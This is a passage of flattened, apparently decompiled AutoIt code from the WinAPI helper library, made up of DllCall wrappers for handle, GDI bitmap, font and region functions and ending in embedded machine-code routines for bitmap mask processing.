$ANSI_FIXED_FONT = 11 GLOBAL CONST $ANSI_VAR_FONT = 12 GLOBAL CONST $DEVICE_DEFAULT_FONT = 14 GLOBAL CONST $DEFAULT_GUI_FONT = 17 GLOBAL CONST $OEM_FIXED_FONT = 10 GLOBAL CONST $SYSTEM_FONT = 13 GLOBAL CONST $SYSTEM_FIXED_FONT = 16 GLOBAL CONST $DEFAULT_PALETTE = 15 #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CLOSEHANDLE ($HOBJECT ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HOBJECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DELETEOBJECT ($HOBJECT ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "bool" , "DeleteObject" , "handle" , $HOBJECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DUPLICATEHANDLE ($HSOURCEPROCESSHANDLE , $HSOURCEHANDLE , $HTARGETPROCESSHANDLE , $IDESIREDACCESS , $IINHERITHANDLE , $IOPTIONS ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "DuplicateHandle" , "handle" , $HSOURCEPROCESSHANDLE , "handle" , $HSOURCEHANDLE , "handle" , $HTARGETPROCESSHANDLE , "handle*" , 0 , "dword" , $IDESIREDACCESS , "bool" , $IINHERITHANDLE , "dword" , $IOPTIONS ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [4 ] ENDFUNC FUNC _WINAPI_GETCURRENTOBJECT ($HDC , $ITYPE ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "handle" , "GetCurrentObject" , "handle" , $HDC , "uint" , $ITYPE ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETCURRENTPROCESS () LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetCurrentProcess" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETOBJECT ($HOBJECT , $ISIZE , $POBJECT ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "GetObjectW" , "handle" , $HOBJECT , "int" , $ISIZE , "struct*" , $POBJECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETOBJECTINFOBYHANDLE ($HOBJECT ) LOCAL $TAGPUBLIC_OBJECT_BASIC_INFORMATION = "ulong Attributes;ulong GrantedAcess;ulong HandleCount;ulong PointerCount;ulong Reserved[10]" LOCAL $TPOBI = DLLSTRUCTCREATE ($TAGPUBLIC_OBJECT_BASIC_INFORMATION ) LOCAL $ARET = DLLCALL ("ntdll.dll" , "long" , "ZwQueryObject" , "handle" , $HOBJECT , "uint" , 0 , "struct*" , $TPOBI , "ulong" , DLLSTRUCTGETSIZE ($TPOBI ) , "ptr" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) LOCAL $ARESULT [4 ] FOR $I = 0 TO 3 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TPOBI , $I + 1 ) NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETOBJECTNAMEBYHANDLE ($HOBJECT ) LOCAL $TAGUNICODE_STRING = "struct;ushort Length;ushort MaximumLength;ptr Buffer;endstruct" LOCAL $TAGPUBLIC_OBJECT_TYPE_INFORMATION = "struct;" & $TAGUNICODE_STRING & ";ulong Reserved[22];endstruct" LOCAL $TPOTI = DLLSTRUCTCREATE ($TAGPUBLIC_OBJECT_TYPE_INFORMATION & ";byte[32]" ) LOCAL $ARET = DLLCALL ("ntdll.dll" , "long" , "ZwQueryObject" , "handle" , $HOBJECT , "uint" , 2 , "struct*" , $TPOTI , "ulong" , DLLSTRUCTGETSIZE ($TPOTI ) , "ulong*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) LOCAL $PDATA = DLLSTRUCTGETDATA ($TPOTI , 3 ) IF NOT $PDATA THEN RETURN SETERROR (11 , 0 , "" ) RETURN _WINAPI_GETSTRING ($PDATA ) ENDFUNC FUNC _WINAPI_GETOBJECTTYPE ($HOBJECT ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "dword" , "GetObjectType" , "handle" , $HOBJECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETSTDHANDLE ($ISTDHANDLE ) IF $ISTDHANDLE < 0 OR $ISTDHANDLE > 2 THEN RETURN SETERROR (2 , 0 , + 4294967295 ) LOCAL CONST $AHANDLE [3 ] = [+ 4294967286 , + 4294967285 , + 4294967284 ] LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetStdHandle" , "dword" , $AHANDLE [$ISTDHANDLE ] ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETSTOCKOBJECT ($IOBJECT ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "GetStockObject" , "int" , $IOBJECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SELECTOBJECT ($HDC , $HGDIOBJ ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDC , "handle" , $HGDIOBJ ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETHANDLEINFORMATION ($HOBJECT , $IMASK , $IFLAGS ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetHandleInformation" , "handle" , $HOBJECT , "dword" , $IMASK , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC #EndRegion Public Functions #Region Global Variables and Constants GLOBAL CONST $TAGBITMAP = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct" GLOBAL CONST $TAGBITMAPV5HEADER = "struct;dword bV5Size;long bV5Width;long bV5Height;ushort bV5Planes;ushort bV5BitCount;dword bV5Compression;dword bV5SizeImage;long bV5XPelsPerMeter;long bV5YPelsPerMeter;dword bV5ClrUsed;dword bV5ClrImportant;dword bV5RedMask;dword bV5GreenMask;dword bV5BlueMask;dword bV5AlphaMask;dword bV5CSType;int bV5Endpoints[9];dword bV5GammaRed;dword bV5GammaGreen;dword bV5GammaBlue;dword bV5Intent;dword bV5ProfileData;dword bV5ProfileSize;dword bV5Reserved;endstruct" GLOBAL CONST $TAGDIBSECTION = $TAGBITMAP & ";" & $TAGBITMAPINFOHEADER & ";dword dsBitfields[3];ptr dshSection;dword dsOffset" GLOBAL CONST $TMPF_FIXED_PITCH = 1 GLOBAL CONST $TMPF_VECTOR = 2 GLOBAL CONST $TMPF_TRUETYPE = 4 GLOBAL CONST $TMPF_DEVICE = 8 GLOBAL CONST $__WINAPICONSTANT_FW_NORMAL = 400 GLOBAL CONST $__WINAPICONSTANT_DEFAULT_CHARSET = 1 GLOBAL CONST $__WINAPICONSTANT_OUT_DEFAULT_PRECIS = 0 GLOBAL CONST $__WINAPICONSTANT_CLIP_DEFAULT_PRECIS = 0 GLOBAL CONST $__WINAPICONSTANT_DEFAULT_QUALITY = 0 #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_BITBLT ($HDESTDC , $IXDEST , $IYDEST , $IWIDTH , $IHEIGHT , $HSRCDC , $IXSRC , $IYSRC , $IROP ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "bool" , "BitBlt" , "handle" , $HDESTDC , "int" , $IXDEST , "int" , $IYDEST , "int" , $IWIDTH , "int" , $IHEIGHT , "handle" , $HSRCDC , "int" , $IXSRC , "int" , $IYSRC , "dword" , $IROP ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_COMBINERGN ($HRGNDEST , $HRGNSRC1 , $HRGNSRC2 , $ICOMBINEMODE ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "CombineRgn" , "handle" , $HRGNDEST , "handle" , $HRGNSRC1 , "handle" , $HRGNSRC2 , "int" , $ICOMBINEMODE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_COPYBITMAP ($HBITMAP ) $HBITMAP = _WINAPI_COPYIMAGE ($HBITMAP , 0 , 0 , 0 , 8192 ) RETURN SETERROR (@ERROR , @EXTENDED , $HBITMAP ) ENDFUNC FUNC _WINAPI_COPYIMAGE ($HIMAGE , $ITYPE = 0 , $IXDESIREDPIXELS = 0 , $IYDESIREDPIXELS = 0 , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CopyImage" , "handle" , $HIMAGE , "uint" , $ITYPE , "int" , $IXDESIREDPIXELS , "int" , $IYDESIREDPIXELS , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATEANDBITMAP ($HBITMAP ) LOCAL $IERROR = 0 , $HDIB = 0 $HBITMAP = _WINAPI_COPYBITMAP ($HBITMAP ) IF NOT $HBITMAP THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) DO LOCAL $ATDIB [2 ] $ATDIB [0 ] = DLLSTRUCTCREATE ($TAGDIBSECTION ) IF (NOT _WINAPI_GETOBJECT ($HBITMAP , DLLSTRUCTGETSIZE ($ATDIB [0 ] ) , $ATDIB [0 ] ) ) OR (DLLSTRUCTGETDATA ($ATDIB [0 ] , "bmBitsPixel" ) <> 32 ) OR (DLLSTRUCTGETDATA ($ATDIB [0 ] , "biCompression" ) ) THEN $IERROR = 10 EXITLOOP ENDIF $ATDIB [1 ] = DLLSTRUCTCREATE ($TAGBITMAP ) $HDIB = _WINAPI_CREATEDIB (DLLSTRUCTGETDATA ($ATDIB [0 ] , "bmWidth" ) , DLLSTRUCTGETDATA ($ATDIB [0 ] , "bmHeight" ) , 1 ) IF NOT _WINAPI_GETOBJECT ($HDIB , DLLSTRUCTGETSIZE ($ATDIB [1 ] ) , $ATDIB [1 ] ) THEN $IERROR = 11 EXITLOOP ENDIF LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "ptr" , __ANDPROC () , "ptr" , 0 , "uint" , 0 , "wparam" , DLLSTRUCTGETPTR ($ATDIB [0 ] ) , "lparam" , DLLSTRUCTGETPTR ($ATDIB [1 ] ) ) IF @ERROR THEN $IERROR = @ERROR EXITLOOP ENDIF IF NOT $ARET [0 ] THEN $IERROR = 12 EXITLOOP ENDIF $IERROR = 0 UNTIL 1 _WINAPI_DELETEOBJECT ($HBITMAP ) IF $IERROR THEN IF $HDIB THEN _WINAPI_DELETEOBJECT ($HDIB ) ENDIF $HDIB = 0 ENDIF RETURN SETERROR ($IERROR , 0 , $HDIB ) ENDFUNC FUNC _WINAPI_CREATEBITMAP ($IWIDTH , $IHEIGHT , $IPLANES = 1 , $IBITSPERPEL = 1 , $PBITS = 0 ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateBitmap" , "int" , $IWIDTH , "int" , $IHEIGHT , "uint" , $IPLANES , "uint" , $IBITSPERPEL , "struct*" , $PBITS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATECOMPATIBLEBITMAP ($HDC , $IWIDTH , $IHEIGHT ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateCompatibleBitmap" , "handle" , $HDC , "int" , $IWIDTH , "int" , $IHEIGHT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATEDIB ($IWIDTH , $IHEIGHT , $IBITSPERPEL = 32 , $TCOLORTABLE = 0 , $ICOLORCOUNT = 0 ) LOCAL $ARGBQ [2 ] , $ICOLORS , $TAGRGBQ SWITCH $IBITSPERPEL CASE 1 $ICOLORS = 2 CASE 4 $ICOLORS = 16 CASE 8 $ICOLORS = 256 CASE ELSE $ICOLORS = 0 ENDSWITCH IF $ICOLORS THEN IF NOT ISDLLSTRUCT ($TCOLORTABLE ) THEN SWITCH $IBITSPERPEL CASE 1 $ARGBQ [0 ] = 0 $ARGBQ [1 ] = 16777215 $TCOLORTABLE = _WINAPI_CREATEDIBCOLORTABLE ($ARGBQ ) CASE ELSE ENDSWITCH ELSE IF $ICOLORS > $ICOLORCOUNT THEN $ICOLORS = $ICOLORCOUNT ENDIF IF (NOT $ICOLORS ) OR ((4 * $ICOLORS ) > DLLSTRUCTGETSIZE ($TCOLORTABLE ) ) THEN RETURN SETERROR (20 , 0 , 0 ) ENDIF ENDIF $TAGRGBQ = ";dword aRGBQuad[" & $ICOLORS & "]" ELSE $TAGRGBQ = "" ENDIF LOCAL $TBITMAPINFO = DLLSTRUCTCREATE ($TAGBITMAPINFOHEADER & $TAGRGBQ ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biSize" , 40 ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biWidth" , $IWIDTH ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biHeight" , $IHEIGHT ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biPlanes" , 1 ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biBitCount" , $IBITSPERPEL ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biCompression" , 0 ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biSizeImage" , 0 ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biXPelsPerMeter" , 0 ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biYPelsPerMeter" , 0 ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biClrUsed" , $ICOLORS ) DLLSTRUCTSETDATA ($TBITMAPINFO , "biClrImportant" , 0 ) IF $ICOLORS THEN IF ISDLLSTRUCT ($TCOLORTABLE ) THEN _WINAPI_MOVEMEMORY (DLLSTRUCTGETPTR ($TBITMAPINFO , "aRGBQuad" ) , $TCOLORTABLE , 4 * $ICOLORS ) ELSE _WINAPI_ZEROMEMORY (DLLSTRUCTGETPTR ($TBITMAPINFO , "aRGBQuad" ) , 4 * $ICOLORS ) ENDIF ENDIF LOCAL $HBITMAP = _WINAPI_CREATEDIBSECTION (0 , $TBITMAPINFO , 0 , $__G_VEXT ) IF NOT $HBITMAP THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $HBITMAP ENDFUNC FUNC _WINAPI_CREATEDIBSECTION ($HDC , $TBITMAPINFO , $IUSAGE , BYREF $PBITS , $HSECTION = 0 , $IOFFSET = 0 ) $PBITS = 0 LOCAL $ARET = DLLCALL ("gdi32.dll" , "handle" , "CreateDIBSection" , "handle" , $HDC , "struct*" , $TBITMAPINFO , "uint" , $IUSAGE , "ptr*" , 0 , "handle" , $HSECTION , "dword" , $IOFFSET ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) $PBITS = $ARET [4 ] RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATEDIBCOLORTABLE (CONST BYREF $ACOLORTABLE , $ISTART = 0 , $IEND = + 4294967295 ) IF __CHECKERRORARRAYBOUNDS ($ACOLORTABLE , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $TCOLORTABLE = DLLSTRUCTCREATE ("dword[" & ($IEND - $ISTART + 1 ) & "]" ) LOCAL $ICOUNT = 1 FOR $I = $ISTART TO $IEND DLLSTRUCTSETDATA ($TCOLORTABLE , 1 , _WINAPI_SWITCHCOLOR (__RGB ($ACOLORTABLE [$I ] ) ) , $ICOUNT ) $ICOUNT += 1 NEXT RETURN $TCOLORTABLE ENDFUNC FUNC _WINAPI_CREATEFONT ($IHEIGHT , $IWIDTH , $IESCAPE = 0 , $IORIENTN = 0 , $IWEIGHT = $__WINAPICONSTANT_FW_NORMAL , $BITALIC = FALSE , $BUNDERLINE = FALSE , $BSTRIKEOUT = FALSE , $ICHARSET = $__WINAPICONSTANT_DEFAULT_CHARSET , $IOUTPUTPREC = $__WINAPICONSTANT_OUT_DEFAULT_PRECIS , $ICLIPPREC = $__WINAPICONSTANT_CLIP_DEFAULT_PRECIS , $IQUALITY = $__WINAPICONSTANT_DEFAULT_QUALITY , $IPITCH = 0 , $SFACE = "Arial" ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateFontW" , "int" , $IHEIGHT , "int" , $IWIDTH , "int" , $IESCAPE , "int" , $IORIENTN , "int" , $IWEIGHT , "dword" , $BITALIC , "dword" , $BUNDERLINE , "dword" , $BSTRIKEOUT , "dword" , $ICHARSET , "dword" , $IOUTPUTPREC , "dword" , $ICLIPPREC , "dword" , $IQUALITY , "dword" , $IPITCH , "wstr" , $SFACE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATEFONTINDIRECT ($TLOGFONT ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateFontIndirectW" , "struct*" , $TLOGFONT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATERECTRGN ($ILEFTRECT , $ITOPRECT , $IRIGHTRECT , $IBOTTOMRECT ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateRectRgn" , "int" , $ILEFTRECT , "int" , $ITOPRECT , "int" , $IRIGHTRECT , "int" , $IBOTTOMRECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATEROUNDRECTRGN ($ILEFTRECT , $ITOPRECT , $IRIGHTRECT , $IBOTTOMRECT , $IWIDTHELLIPSE , $IHEIGHTELLIPSE ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateRoundRectRgn" , "int" , $ILEFTRECT , "int" , $ITOPRECT , "int" , $IRIGHTRECT , "int" , $IBOTTOMRECT , "int" , $IWIDTHELLIPSE , "int" , $IHEIGHTELLIPSE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATESOLIDBRUSH ($ICOLOR ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateSolidBrush" , "INT" , $ICOLOR ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETBITMAPDIMENSION ($HBITMAP ) LOCAL $TOBJ = DLLSTRUCTCREATE ($TAGBITMAP ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "int" , "GetObject" , "handle" , $HBITMAP , "int" , DLLSTRUCTGETSIZE ($TOBJ ) , "struct*" , $TOBJ ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN _WINAPI_CREATESIZE (DLLSTRUCTGETDATA ($TOBJ , "bmWidth" ) , DLLSTRUCTGETDATA ($TOBJ , "bmHeight" ) ) ENDFUNC FUNC _WINAPI_GETSYSCOLORBRUSH ($IINDEX ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "GetSysColorBrush" , "int" , $IINDEX ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETTEXTEXTENTPOINT32 ($HDC , $STEXT ) LOCAL $TSIZE = DLLSTRUCTCREATE ($TAGSIZE ) LOCAL $ISIZE = STRINGLEN ($STEXT ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "bool" , "GetTextExtentPoint32W" , "handle" , $HDC , "wstr" , $STEXT , "int" , $ISIZE , "struct*" , $TSIZE ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TSIZE ENDFUNC FUNC _WINAPI_GETTEXTMETRICS ($HDC ) LOCAL $TTEXTMETRIC = DLLSTRUCTCREATE ($TAGTEXTMETRIC ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "bool" , "GetTextMetricsW" , "handle" , $HDC , "struct*" , $TTEXTMETRIC ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TTEXTMETRIC ENDFUNC FUNC _WINAPI_GETWINDOWRGN ($HWND , $HRGN ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetWindowRgn" , "hwnd" , $HWND , "handle" , $HRGN ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ISALPHABITMAP ($HBITMAP ) $HBITMAP = _WINAPI_COPYBITMAP ($HBITMAP ) IF NOT $HBITMAP THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) LOCAL $ARET , $IERROR = 0 DO LOCAL $TDIB = DLLSTRUCTCREATE ($TAGDIBSECTION ) IF (NOT _WINAPI_GETOBJECT ($HBITMAP , DLLSTRUCTGETSIZE ($TDIB ) , $TDIB ) ) OR (DLLSTRUCTGETDATA ($TDIB , "bmBitsPixel" ) <> 32 ) OR (DLLSTRUCTGETDATA ($TDIB , "biCompression" ) ) THEN $IERROR = 1 EXITLOOP ENDIF $ARET = DLLCALL ("user32.dll" , "int" , "CallWindowProc" , "ptr" , __ALPHAPROC () , "ptr" , 0 , "uint" , 0 , "struct*" , $TDIB , "ptr" , 0 ) IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN $IERROR = @ERROR + 10 EXITLOOP ENDIF UNTIL 1 _WINAPI_DELETEOBJECT ($HBITMAP ) IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PTINRECT (BYREF $TRECT , BYREF $TPOINT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "PtInRect" , "struct*" , $TRECT , "struct" , $TPOINT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_REDRAWWINDOW ($HWND , $TRECT = 0 , $HREGION = 0 , $IFLAGS = 5 ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "RedrawWindow" , "hwnd" , $HWND , "struct*" , $TRECT , "handle" , $HREGION , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWRGN ($HWND , $HRGN , $BREDRAW = TRUE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "SetWindowRgn" , "hwnd" , $HWND , "handle" , $HRGN , "bool" , $BREDRAW ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC #EndRegion Public Functions #Region Embedded DLL Functions FUNC __ALPHAPROC () STATIC $PPROC = 0 IF NOT $PPROC THEN IF @AUTOITX64 THEN $PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751F488B6C24604883" & "7D180074054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB" & "034831C04821C0740C48C7C0FFFFFFFF4863C0EB6F48C744242800000000488B" & "6C24604C637D04488B6C2460486345084C0FAFF849C1E7024983C7FC4C3B7C24" & "287C36488B6C24604C8B7D184C037C24284983C7034C897C2430488B6C243080" & "7D0000740C48C7C0010000004863C0EB1348834424280471A54831C04863C0EB" & "034831C04883C438415F5DC3" ) ) ELSE $PPROC = __INIT (BINARY ("0x555331C05050837C241C00740431C0EB05B80100000021C075198B6C241C837D" & "1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021C07407" & "B8FFFFFFFFEB4FC70424000000008B6C241C8B5D048B6C241C0FAF5D08C1E302" & "83C3FC3B1C247C288B6C241C8B5D14031C2483C303895C24048B6C2404807D00" & "007407B801000000EB0C8304240471BE31C0EB0231C083C4085B5DC21000" ) ) ENDIF ENDIF RETURN $PPROC ENDFUNC FUNC __ANDPROC () STATIC $PPROC = 0 IF NOT $PPROC THEN IF @AUTOITX64 THEN $PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C2420554157415648C7C009000000" & "4883EC0848C704240000000048FFC875EF4883EC284883BC24A0000000007405" & "4831C0EB0748C7C0010000004821C00F85840000004883BC24A8000000007405" & "4831C0EB0748C7C0010000004821C07555488BAC24A000000048837D18007405" & "4831C0EB0748C7C0010000004821C07522488BAC24A800000048837D18007405" & "4831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C048" & "21C07502EB0948C7C001000000EB034831C04821C07502EB0948C7C001000000" & "EB034831C04821C0740B4831C04863C0E9D701000048C74424280000000048C7" & "44243000000000488BAC24A00000004C637D0849FFCF4C3B7C24300F8C9C0100" & "0048C74424380000000048C74424400000000048C744244800000000488BAC24" & "A00000004C637D0449FFCF4C3B7C24480F8CDB000000488BAC24A00000004C8B" & "7D184C037C24284983C7034C897C2450488B6C2450807D000074264C8B7C2440" & "4C8B74243849F7DE4983C61F4C89F148C7C00100000048D3E04909C74C897C24" & "4048FF4424384C8B7C24384983FF1F7E6F4C8B7C244049F7D74C897C244048C7" & "442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D184C037C" & "24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C2458588845" & "0048FF4424604883442458F871B948C74424380000000048C744244000000000" & "48834424280448FF4424480F810BFFFFFF48837C24380074794C8B7C244049F7" & "D74C8B74243849F7DE4983C6204C89F148C7C0FFFFFFFF48D3E04921C74C897C" & "244048C7442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D" & "184C037C24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C24" & "585888450048FF4424604883442458F871B948FF4424300F814AFEFFFF48C7C0" & "010000004863C0EB034831C04883C470415E415F5DC3" ) ) ELSE $PPROC = __INIT (BINARY ("0x555357BA0800000083EC04C70424000000004A75F3837C243800740431C0EB05" & "B80100000021C07562837C243C00740431C0EB05B80100000021C0753F8B6C24" & "38837D1400740431C0EB05B80100000021C075198B6C243C837D1400740431C0" & "EB05B80100000021C07502EB07B801000000EB0231C021C07502EB07B8010000" & "00EB0231C021C07502EB07B801000000EB0231C021C0740731C0E969010000C7" & "042400000000C7442404000000008B6C24388B5D084B3B5C24040F8C3F010000" & "C744240800000000C744240C00000000C7442410000000008B6C24388B5D044B" & "3B5C24100F8CA90000008B6C24388B5D14031C2483C303895C24148B6C241480" & "7D0000741C8B5C240C8B7C2408F7DF83C71F89F9B801000000D3E009C3895C24" & "0CFF4424088B5C240883FB1F7E578B5C240CF7D3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBC744240800000000C74424" & "0C0000000083042404FF4424100F8145FFFFFF837C240800745B8B5C240CF7D3" & "8B7C2408F7DF83C72089F9B8FFFFFFFFD3E021C3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBFF4424040F81AFFEFFFFB8" & "01000000EB0231C083C4205F5B5DC21000" ) ) ENDIF ENDIF RETURN $PPROC ENDFUNC FUNC __XORPROC () STATIC $PPROC = 0 IF NOT $PPROC THEN IF @AUTOITX64 THEN $PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751B48837C24680074" & "054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C0" & "4821C074084831C04863C0EB7748C7442428000000004C637C24584983C7FC4C" & "3B7C24287C4F4C8B7C24604C037C24284C897C2430488B6C2430807D00007405" & "4831C0EB0748C7C0010000004821C0741C4C8B7C24684C037C24284983C7034C" & "897C2430488B6C2430C64500FF48834424280471A148C7C0010000004863C0EB" & "034831C04883C438415F5DC3" ) ) ELSE $PPROC = __INIT (BINARY ("0x555331C05050837C241C00740431C0EB05B80100000021C07516837C24200074" & "0431C0EB05B80100000021C07502EB07B801000000EB0231C021C0740431C0EB" & "5AC70424000000008B5C241883C3FC3B1C247C3E8B5C241C031C24895C24048B" & 